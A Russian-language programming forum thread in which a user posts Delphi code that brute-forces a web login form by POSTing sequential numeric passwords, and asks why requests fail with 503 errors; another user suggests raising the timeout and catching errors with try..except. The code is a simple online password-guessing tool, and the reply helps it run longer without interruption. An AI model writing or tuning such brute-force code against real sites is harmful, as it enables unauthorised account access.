[Friedrich]

Здравствуйте. помогите пожалуйста разобраться.
Я генерю из программы пост запрос к сайту. Сайт у меня на локальном компьютере. Он доступен по адресу http://localhost:6448/
При выполнении программы очень часто выскакивает сообщение "HTTP/1.1 503 Service Unavailable(Сервис недоступен)". Апаче запущен.
вот код моей программы:

Код:

procedure TForm1.Button1Click(Sender: TObject);
var
  data: TIdMultiPartFormDataStream;
  res, password: String;
  stop:boolean; r:real;
  i:integer;
begin
  stop:=false;
  password:='0';
  i:=0;
 while not(stop) do
    begin
    i:=i+1;
    password:=IntToStr(StrToInt(password)+1);
    data := TIdMultiPartFormDataStream.Create;
    data.AddFormField('AUTH_FORM', 'Y');
    data.AddFormField('TYPE', 'AUTH');
    data.AddFormField('USER_LOGIN', cLogin.Text);
    data.AddFormField('USER_PASSWORD', password);
    try
      res:=IdHTTP1.POST(cHTTP.Text,data);
    finally

    end;
    if Pos(res,'Выйти')>0 then
        begin
        stop:=true;
        memo1.Text:=res;//вывести html в memo
        cPassword.Caption:=password;//вырести possword в label
        end else
             //    123456- реальный пароль
             if (i>1000000) then stop:=true;
data.Free;
  end;

finish.Caption:=finish.Caption+'-ok';
end;

Собственно два вопроса: 1) почему очень часто выскакивает 503
2) я вроде try finally сделал, а окно с ошибкой выскакивает.
в tool->option я отключил слежение за ошибками

PS Я не собираюсь некого взламывать. Это локалхост.

[lmikle]

1. Попробуй установить побольше timeout.
2. Try..finally не перехватывает ошибку, а только позволяет выпонить определенные действия при ее возникновении. Для маскировки ошибки надо использовать Try..Except.

[Friedrich]

Попробуй установить побольше timeout.

Я такого свойства не нашел. Не мог бы поподробней. Или ты имеешь введу в цикл задержку поставить?